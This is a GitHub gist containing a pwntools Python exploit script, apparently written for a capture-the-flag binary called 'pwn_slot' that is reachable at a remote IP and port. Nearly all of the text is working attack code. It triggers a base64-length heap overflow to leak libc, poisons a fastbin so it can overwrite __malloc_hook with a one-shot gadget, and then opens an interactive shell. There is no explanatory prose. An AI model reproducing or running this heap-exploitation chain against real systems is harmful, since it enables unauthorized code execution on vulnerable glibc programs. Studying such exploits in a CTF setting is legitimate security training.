Skip to content

Instantly share code, notes, and snippets.

@pqlx
Created November 17, 2020 22:59
Show Gist options
  • Save pqlx/71d2541ece9e3fe18a495ef0becc4a88 to your computer and use it in GitHub Desktop.
Save pqlx/71d2541ece9e3fe18a495ef0becc4a88 to your computer and use it in GitHub Desktop.
from pwn import *
from base64 import b64encode as be, b64decode as bd
context.terminal = ["sn"]
BINARY_NAME = "./pwn_slot"
LIBC_NAME = "./libc.so"
REMOTE = ("34.107.41.169", 32674)
context.binary = BINARY_NAME
binary = context.binary
libc = ELF(LIBC_NAME)
EXEC_STR = [binary.path]
PIE_ENABLED = binary.pie
gdbscript = \
"""
# invalid choice branch
pie b *0xf5c
"""
def handle():
env = {"LD_PRELOAD": libc.path}
if args.REMOTE:
return remote(*REMOTE)
elif args.LOCAL:
p = process(EXEC_STR, env=env)
else:
error("No argument supplied.\nUsage: python exploit.py (REMOTE|LOCAL) [GDB] [STRACE]")
if args.GDB:
gdb.attach(p, gdbscript)
if args.STRACE:
subprocess.Popen([*context.terminal, f"strace -p {p.pid};cat"])
input("Waiting for enter..")
print(p.pid)
input("enter..")
return p
def recvmenu(l):
return l.recvuntil("> ")
def create_note(l, data, size=-1):
if size == -1:
size = len(data)
recvmenu(l)
l.sendline('1')
l.recvuntil("\nuUing slot ")
index = int(l.recvuntil('\n', drop=True))
l.sendlineafter("size: ", str(size))
l.sendafter("data: ", data)
l.recvuntil("Chunk created successfully.", timeout=5)
success(f"Created note w/ index: {index}")
time.sleep(0.5)
return index
def fetch_note(l, index):
recvmenu(l)
l.sendline("3")
l.sendlineafter("idx: ", str(index))
l.recvuntil('\ndata: ')
return l.recvuntil('\n1. create', drop=True)
def delete_note(l, index):
recvmenu(l)
l.sendline("2")
l.sendlineafter("idx: ", str(index))
l.recvuntil("Chunk deleted successfully.\n")
success(f"Deleted note w/ index: {index}")
time.sleep(0.5)
def edit_note(l, index, data, size=-1):
if size == -1:
size = len(data)
recvmenu(l)
l.sendline("4")
l.sendlineafter("idx: ", str(index))
l.sendlineafter("size: ", str(size))
l.sendafter("data: ", data)
l.recvuntil("Chunk deleted successfully\n\n")
success(f"Edited note w/ index: {index}")
time.sleep(0.5)
def unbound_note(l, index):
edit_note(l, index, b'\x01')
def gen_b64(size):
assert size % 3 == 1
n_x = (size - 1) // 3
return "XX" + n_x * "XXXX" + "="
def trigger_debug(l):
recvmenu(l)
l.sendline("99")
def main():
l = handle()
create_note(l, be(b"A"*0x30))
unbound_note(l, 0)
create_note(l, be(b"X" * 0x100))
# prevent top consolidation
create_note(l, be(b"buffer"))
to_corrupt_idx = create_note(l, be(b"TO_CORRUPT"))
to_free_idx = create_note(l, be(0x60*b"F"))
create_note(l, be(b"CONSOLIDATION_GUARD")) # prevent consolidation
delete_note(l, 1)
edit_note(l, 0, gen_b64(0x40))
leak = u64(fetch_note(l, 0)[-6:].ljust(8, b"\x00"))
libc_base = leak - 0x3c3b78 - 0x1000
print(f"libc leak @ {hex(leak)}")
print(f"libc base @ {hex(libc_base)}")
delete_note(l, to_free_idx) # start fastbin corruption
unbound_note(l, to_corrupt_idx)
fake_fastbin_addr = libc_base + libc.symbols["__malloc_hook"] - 0x23
print(f"Using fake fastbin address {hex(fake_fastbin_addr)}")
edit_note(l, to_corrupt_idx, be(b"A" * 24 + p64(0x71) + p64(fake_fastbin_addr) + b"OVERWRITTEN"))
create_note(l, be(b"C"*0x60))
payload = 0x13*b"A" +p64(libc_base + 0xf1147) # one shot gadget
payload = payload.ljust(0x60, b"A")
create_note(l, be(payload)) # overwrite __malloc_hook
# meeded for the constraint dword ptr [$rsp + 0x70] = NULL of our one-shot gadget.
create_note(l, b"\x00"*0x200)
success("If all went well, a shell will appear in about 5 seconds")
l.interactive()
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment